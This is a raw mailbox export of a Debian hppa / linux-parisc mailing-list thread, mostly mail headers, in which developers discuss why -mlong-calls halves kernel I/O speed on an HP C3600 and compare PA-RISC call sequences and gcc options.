	RCVD_IN_DNSWL_LOW=-0.7, T_RP_MATCHES_RCVD=-0.01,
	UNPARSEABLE_RELAY=0.001] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id anlkATvXLg7q for <lists-debian-hppa@bendel.debian.org>;
	Thu, 15 Mar 2018 20:48:27 +0000 (UTC)
Original-Received: from mtlfep02.bell.net (belmont80srvr.owm.bell.net [184.150.200.80])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id EAC111A6
	for <debian-hppa@lists.debian.org>; Thu, 15 Mar 2018 20:48:26 +0000 (UTC)
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20180315204823.FSWX4484.mtlfep02.bell.net@mtlspm02.bell.net>
          for <debian-hppa@lists.debian.org>;
          Thu, 15 Mar 2018 16:48:23 -0400
Original-Received: from [192.168.0.138] (really [69.156.4.250]) by mtlspm02.bell.net
          with ESMTP
          id <20180315204823.UWAF6415.mtlspm02.bell.net@[192.168.0.138]>;
          Thu, 15 Mar 2018 16:48:23 -0400
In-Reply-To: <d637ebd1-db27-585b-c324-0e02baf8c8b2@gmx.de>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=OZx3NlbY c=1 sm=0 tr=0 a=vinXicB1gmUT9HjaLy2a9Q==:17 a=IkcTkHD0fZMA:10 a=v2DPQv5-lfwA:10 a=OLL_FvSJAAAA:8 a=FBHGMhGWAAAA:8 a=AM0R_ZWugOdDzF3KylcA:9 a=QEXdDO2ut3YA:10 a=ifug5E_gFMIA:10 a=ekeEPr-w95EA:10 a=oIrB72frpwYPwTMnlWqB:22 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <jLjRgZ68pRL.A.WeB.pwtqaB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8665
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/358e0185-b770-d961-a1f2-bbb9703f4d26@bell.net
Resent-Date: Thu, 15 Mar 2018 20:48:41 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7681 gmane.linux.ports.parisc:28328
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7681>

On 2018-03-15 4:43 PM, Helge Deller wrote:
> On 15.03.2018 16:36, Carlo Pisani wrote:
>> I am experiencing a very annoying behavior with my HPPA C3600: if I
>> compile the (linux) kernel with  -mlong-calls then the IO (e.g. file
>> copy) becomes very slow, and the PCI becomes unstable (i.e. it crashes
>> the machine)
>>
>> kernel  gcc     binutils    with mlong    without mlong
>> 4.15.7  4.9.3   2.25.1     13.4 MB/s    27.0 MB/s
>> 4.15.7  6.4.0   2.25.1     13.4 MB/s    27.0 MB/s
>> 4.15.7  6.4.0   2.29.1     14.4 MB/s    25.0 MB/s
> Interesting bad results!
I don't believe the instability mentioned is due to long calls. It's the 
following issue:
https://www.spinics.net/lists/linux-parisc/msg01024.html


From - Thu Nov 08 21:41:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: C3600 kernel/64bit 4.* slow IO due to -mlong-calls
Date: Thu, 15 Mar 2018 16:51:56 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <113ad157-e8c3-81dc-5752-75416c8ce531@bell.net>
References: <CA+QBN9C=wHxV5Y=SSt2UB_4b1H_Nx1mZxZu3rvuTY2wRe=GWBw@mail.gmail.com>
 <d637ebd1-db27-585b-c324-0e02baf8c8b2@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521147010 10777 195.159.176.226 (15 Mar 2018 20:50:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 15 Mar 2018 20:50:10 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>, debian-hppa@lists.debian.org
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Thu Mar 15 21:50:05 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ewZp7-0002hM-0J
	for debian-hppa@m.gmane.org; Thu, 15 Mar 2018 21:50:05 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 7D1AF1C9; Thu, 15 Mar 2018 20:52:12 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Thu Mar 15 20:52:12 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id D5DF31CC
	for <lists-debian-hppa@bendel.debian.org>; Thu, 15 Mar 2018 20:52:03 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.709 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, LDO_WHITELIST=-5, RCVD_IN_DNSWL_LOW=-0.7,
	T_RP_MATCHES_RCVD=-0.01, UNPARSEABLE_RELAY=0.001]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id MaIdBw1bqpZq for <lists-debian-hppa@bendel.debian.org>;
	Thu, 15 Mar 2018 20:51:58 +0000 (UTC)
Original-Received: from mtlfep02.bell.net (belmont80srvr.owm.bell.net [184.150.200.80])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id A43921C9
	for <debian-hppa@lists.debian.org>; Thu, 15 Mar 2018 20:51:58 +0000 (UTC)
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20180315205155.FWIJ4484.mtlfep02.bell.net@mtlspm01.bell.net>
          for <debian-hppa@lists.debian.org>;
          Thu, 15 Mar 2018 16:51:55 -0400
Original-Received: from [192.168.0.138] (really [69.156.4.250]) by mtlspm01.bell.net
          with ESMTP
          id <20180315205155.UXVH28394.mtlspm01.bell.net@[192.168.0.138]>;
          Thu, 15 Mar 2018 16:51:55 -0400
In-Reply-To: <d637ebd1-db27-585b-c324-0e02baf8c8b2@gmx.de>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=OZx3NlbY c=1 sm=0 tr=0 a=vinXicB1gmUT9HjaLy2a9Q==:17 a=IkcTkHD0fZMA:10 a=v2DPQv5-lfwA:10 a=FBHGMhGWAAAA:8 a=NJCyeXbP9E1vkaCQYm0A:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <LhbufKbpScC.A.w9B.8ztqaB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8666
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/113ad157-e8c3-81dc-5752-75416c8ce531@bell.net
Resent-Date: Thu, 15 Mar 2018 20:52:12 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7682 gmane.linux.ports.parisc:28329
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7682>

On 2018-03-15 4:43 PM, Helge Deller wrote:
>> kernel  gcc     binutils    with mlong    without mlong
>> 4.15.7  4.9.3   2.25.1     13.4 MB/s    27.0 MB/s
>> 4.15.7  6.4.0   2.25.1     13.4 MB/s    27.0 MB/s
>> 4.15.7  6.4.0   2.29.1     14.4 MB/s    25.0 MB/s
> Interesting bad results!
>   
It's hard to understand why the performance would deteriorate so much 
but I see essentially
the same behavior.

Dave


From - Thu Nov 08 21:41:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Aw: Re: C3600 kernel/64bit 4.* slow IO due to -mlong-calls
Date: Fri, 16 Mar 2018 12:25:58 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <trinity-f7583046-4aa6-488a-a797-20501118a1c0-1521199558775@3c-app-gmx-bs75>
References: <CA+QBN9C=wHxV5Y=SSt2UB_4b1H_Nx1mZxZu3rvuTY2wRe=GWBw@mail.gmail.com>
 <d637ebd1-db27-585b-c324-0e02baf8c8b2@gmx.de>
 <113ad157-e8c3-81dc-5752-75416c8ce531@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1521199457 17803 195.159.176.226 (16 Mar 2018 11:24:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 16 Mar 2018 11:24:17 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, linux-parisc
 <linux-parisc@vger.kernel.org>
To: "John David Anglin" <dave.anglin@bell.net>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Fri Mar 16 12:24:12 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ewnT1-0004VB-JL
	for debian-hppa@m.gmane.org; Fri, 16 Mar 2018 12:24:11 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id DDBCCB7; Fri, 16 Mar 2018 11:26:18 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Fri Mar 16 11:26:18 2018
Old-Return-Path: <deller@gmx.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 0CC34A5
	for <lists-debian-hppa@bendel.debian.org>; Fri, 16 Mar 2018 11:26:09 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.719 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FREEMAIL_FROM=0.001, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7, RCVD_IN_MSPIKE_H3=-0.01,
	RCVD_IN_MSPIKE_WL=-0.01] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id B0l7aE3ghOfN for <lists-debian-hppa@bendel.debian.org>;
	Fri, 16 Mar 2018 11:26:03 +0000 (UTC)
X-policyd-weight: NOT_IN_SBL_XBL_SPAMHAUS=-1.5 NOT_IN_BL_NJABL=-1.5 CL_IP_EQ_HELO_IP=-2 (check from: .gmx. - helo: .mout.gmx. - helo-domain: .gmx.)  FROM/MX_MATCHES_HELO(DOMAIN)=-2; rate: -7
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.17.20])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 3D5AA72
	for <debian-hppa@lists.debian.org>; Fri, 16 Mar 2018 11:26:03 +0000 (UTC)
Original-Received: from [155.56.44.138] ([155.56.44.138]) by
 3c-app-gmx-bs75.server.lan (via HTTP); Fri, 16 Mar 2018 12:25:58 +0100
Importance: normal
Sensitivity: Normal
In-Reply-To: <113ad157-e8c3-81dc-5752-75416c8ce531@bell.net>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K1:mkx1b94ott7hHQraL/g1f9cXo6SXTNxGbgXqHuvUI9H
 WLq8YyKYjlnJ2BUU5oIP8eHw4GWcxScC3MJClYr7ULfm/4Wa9e
 FrZ2M3ok1zjHYdZZIQ/2HR9bZS9xHNXerrw0tbAemuhuY0vk7v
 Sa/toC+hU7PyFfBxA9Fb33M77UKciYqnI5BF+bWmpP1e2foIYS
 +GFM9k87kzn8dGUVDhGzLidKhNRnX0XLhhfNOEz6kw/mmT+/9w
 O1eukj98wTGjeVaRQlWCt0R4jUKt8FOCOuMe5uNfqOuym6i8gT z+ggpU=
X-UI-Out-Filterresults: notjunk:1;V01:K0:Bzw3vVclU2I=:7SBn3d+J3aZUuIKphbpUA2
 JvAJLIUqRReIMUtQs0aOHreWRya7VJJq7F5XM0MxCPi1KKtsLYDpv1jJAJdKmDH6y7jWQOMPV
 0esM/fZS0qM7zBjDu+GLaQLY+GFgt0W/1MMQ6xDjHGrF+ZhDKLtVz+5WS5dUvY4Klz+LlbjQf
 QfSdZsO7Fd0faM8oPBFbRWS0B4eR9V1GId6otGLHmMhBKVNVPbpv9ADo+T3hHFV5f9nv5jLCv
 L8EhJQLxZXAjT6G13+5aUqc7ZnRq2KrQiyDyE+D8bkfEMiYi5RgxopetteOtC5TdNzXMr373G
 4FeTzOuobCNifRjLhx574GQodmmF38k+vAgssM913THmloY5gucoaWoqV8DUKMFfPIeqSyldr
 S3f2uQFC9ebyizAN0tQOhoy/mpnYatHNRPaDLPf0UlmG6t3cwIsSIzRVPmTfY1t9Y1AHgsdcO
 bX0UcUtIGifJ8bfuSpkq3Rqwcs4xY/a4PMWSTZA8Zgn+4g91cBQQ
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <M28YdAp25dE.A.nAG.an6qaB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8667
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/trinity-f7583046-4aa6-488a-a797-20501118a1c0-1521199558775@3c-app-gmx-bs75
Resent-Date: Fri, 16 Mar 2018 11:26:18 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7683 gmane.linux.ports.parisc:28330
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7683>

> >> kernel  gcc     binutils    with mlong    without mlong
> >> 4.15.7  4.9.3   2.25.1     13.4 MB/s    27.0 MB/s
> >> 4.15.7  6.4.0   2.25.1     13.4 MB/s    27.0 MB/s
> >> 4.15.7  6.4.0   2.29.1     14.4 MB/s    25.0 MB/s
> > Interesting bad results!
> >   
> It's hard to understand why the performance would deteriorate so much 
> but I see essentially the same behavior.

Speaking of debian kernel, it's nearly impossible to link a kernel without mlong-calls.

Compiling without mlong-calls generates this (R_PARISC_PCREL22F):
        b,l external_func,%r2
        nop

With -mlong-calls it is much more complex:
.LC0:
        .dword  P%external_func
.globl a
a:
        addil LT'.LC0,%r27
        ldd RT'.LC0(%r1),%r28
        ldd 0(%r28),%r28
        ldd 16(%r28),%r2
        bve,l (%r2),%r2


Since our kernel is running in the first 4GB of RAM (even on 64bit), couldn't we instead
introduce a gcc option, e.g. "-mkernel-indirect-calls", which translates to:
        ldil    L%external_func, %r2        // R_PARISC_DIR21L
        ldo     R%external_func(%r2), %r2   // R_PARISC_DIR14R  
        bve,l (%r2),%r2

Does -mfast-indirect-calls has any effect at all?
I haven't seen any difference when using this option.

Thoughts?
Helge



From - Thu Nov 08 21:41:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Aw: Re: C3600 kernel/64bit 4.* slow IO due to -mlong-calls
Date: Fri, 16 Mar 2018 09:37:57 -0400
Lines: 69
Approved: news@gmane.org
Message-ID: <e3b11e2e-490a-5882-2bfa-a199ae4a2634@bell.net>
References: <CA+QBN9C=wHxV5Y=SSt2UB_4b1H_Nx1mZxZu3rvuTY2wRe=GWBw@mail.gmail.com>
 <d637ebd1-db27-585b-c324-0e02baf8c8b2@gmx.de>
 <113ad157-e8c3-81dc-5752-75416c8ce531@bell.net>
 <trinity-f7583046-4aa6-488a-a797-20501118a1c0-1521199558775@3c-app-gmx-bs75>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1521207388 16101 195.159.176.226 (16 Mar 2018 13:36:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 16 Mar 2018 13:36:28 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: debian-hppa@lists.debian.org, linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Fri Mar 16 14:36:24 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ewpWx-00046T-Lw
	for debian-hppa@m.gmane.org; Fri, 16 Mar 2018 14:36:23 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 8E0CE149; Fri, 16 Mar 2018 13:38:22 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Fri Mar 16 13:38:19 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id ACE2517E
	for <lists-debian-hppa@bendel.debian.org>; Fri, 16 Mar 2018 13:38:09 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.709 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, LDO_WHITELIST=-5, RCVD_IN_DNSWL_LOW=-0.7,
	T_RP_MATCHES_RCVD=-0.01, UNPARSEABLE_RELAY=0.001]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 6CBj7_INRnZm for <lists-debian-hppa@bendel.debian.org>;
	Fri, 16 Mar 2018 13:38:01 +0000 (UTC)
Original-Received: from mtlfep01.bell.net (belmont79srvr.owm.bell.net [184.150.200.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 5EE37149
	for <debian-hppa@lists.debian.org>; Fri, 16 Mar 2018 13:38:01 +0000 (UTC)
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20180316133757.WUCG14136.mtlfep01.bell.net@mtlspm01.bell.net>
          for <debian-hppa@lists.debian.org>;
          Fri, 16 Mar 2018 09:37:57 -0400
Original-Received: from [192.168.0.138] (really [69.156.4.250]) by mtlspm01.bell.net
          with ESMTP
          id <20180316133757.UIG28394.mtlspm01.bell.net@[192.168.0.138]>;
          Fri, 16 Mar 2018 09:37:57 -0400
In-Reply-To: <trinity-f7583046-4aa6-488a-a797-20501118a1c0-1521199558775@3c-app-gmx-bs75>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=IaFoYSia c=1 sm=0 tr=0 a=vinXicB1gmUT9HjaLy2a9Q==:17 a=IkcTkHD0fZMA:10 a=v2DPQv5-lfwA:10 a=FBHGMhGWAAAA:8 a=c5cJfnLw3LN01sLosDcA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <EvUoL2q21-M.A.AxF.Lj8qaB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8669
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/e3b11e2e-490a-5882-2bfa-a199ae4a2634@bell.net
Resent-Date: Fri, 16 Mar 2018 13:38:22 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7685 gmane.linux.ports.parisc:28331
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7685>

On 2018-03-16 7:25 AM, Helge Deller wrote:
>>>> kernel  gcc     binutils    with mlong    without mlong
>>>> 4.15.7  4.9.3   2.25.1     13.4 MB/s    27.0 MB/s
>>>> 4.15.7  6.4.0   2.25.1     13.4 MB/s    27.0 MB/s
>>>> 4.15.7  6.4.0   2.29.1     14.4 MB/s    25.0 MB/s
>>> Interesting bad results!
>>>    
>> It's hard to understand why the performance would deteriorate so much
>> but I see essentially the same behavior.
> Speaking of debian kernel, it's nearly impossible to link a kernel without mlong-calls.
>
> Compiling without mlong-calls generates this (R_PARISC_PCREL22F):
>          b,l external_func,%r2
>          nop
On PA 2.0, this is a 22 bit pc-relative call that has a branch distance 
of 8 MB.  We have no stub support
in the gnu 64-bit linker.  If we had stub support, this would be best 
solution.

In addition to the argument registers, the argument pointer needs to be 
loaded for each call.

>
> With -mlong-calls it is much more complex:
> .LC0:
>          .dword  P%external_func
> .globl a
> a:
>          addil LT'.LC0,%r27
>          ldd RT'.LC0(%r1),%r28
>          ldd 0(%r28),%r28
>          ldd 16(%r28),%r2
>          bve,l (%r2),%r2
This is standard 64-bit indirect call.  It calls via a function 
descriptor.  It assumes the PIC register may change
and the callee may be in a different space (i.e., 64-bit hpux runtime).  
The bve instruction is specific to PA 2.0.
b
In the kernel, we probably don't need the load of the new PIC register 
(omitted from the above).

>
>
> Since our kernel is running in the first 4GB of RAM (even on 64bit), couldn't we instead
> introduce a gcc option, e.g. "-mkernel-indirect-calls", which translates to:
>          ldil    L%external_func, %r2        // R_PARISC_DIR21L
>          ldo     R%external_func(%r2), %r2   // R_PARISC_DIR14R
>          bve,l (%r2),%r2
Another option is to use ble (i.e., call sequence generated using 
-mfast-indirect-calls).  It yields the same length
call sequence as your above sequence and it works on both PA 1.x and 2.0.

The above sequence is not PIC.  What about modules?

In the above three sequences, there is a delay slot after the branch 
which might be filled by the compiler with a
useful instruction.
>
> Does -mfast-indirect-calls has any effect at all?
> I haven't seen any difference when using this option.
At the moment, this option only applies to the 32-bit compiler.
>
> Thoughts?

I don't remember any huge increase in gcc build time with -mlong-calls.  
Calls don't usually dominate performance.

Dave


From - Thu Nov 08 21:41:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Re: C3600 kernel/64bit 4.* slow IO due to -mlong-calls
Date: Fri, 16 Mar 2018 10:29:13 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <CAEdQ38Fr1yy6Q5a2jkcO_SUCYYh0URtW6CY=D0zxHp0K4W19eA@mail.gmail.com>
References: <CA+QBN9C=wHxV5Y=SSt2UB_4b1H_Nx1mZxZu3rvuTY2wRe=GWBw@mail.gmail.com>
 <d637ebd1-db27-585b-c324-0e02baf8c8b2@gmx.de> <113ad157-e8c3-81dc-5752-75416c8ce531@bell.net>
 <trinity-f7583046-4aa6-488a-a797-20501118a1c0-1521199558775@3c-app-gmx-bs75>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1521221271 1349 195.159.176.226 (16 Mar 2018 17:27:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 16 Mar 2018 17:27:51 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>, debian-hppa@lists.debian.org, 
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Fri Mar 16 18:27:47 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ewt8s-0000GL-RC
	for debian-hppa@m.gmane.org; Fri, 16 Mar 2018 18:27:46 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 681E24A; Fri, 16 Mar 2018 17:29:54 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Fri Mar 16 17:29:54 2018
Old-Return-Path: <mattst88@gmail.com>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 0B0685F
	for <lists-debian-hppa@bendel.debian.org>; Fri, 16 Mar 2018 17:29:44 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.549 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DKIM_SIGNED=0.1, DKIM_VALID=-0.1,
	DKIM_VALID_AU=-0.1, FREEMAIL_ENVFROM_END_DIGIT=0.25,
	FREEMAIL_FROM=0.001, LDO_WHITELIST=-5, RCVD_IN_DNSWL_LOW=-0.7, RERE=1]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id fvrGd3riqimL for <lists-debian-hppa@bendel.debian.org>;
	Fri, 16 Mar 2018 17:29:38 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mail-io0-x22d.google.com (mail-io0-x22d.google.com [IPv6:2607:f8b0:4001:c06::22d])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 27CD25E
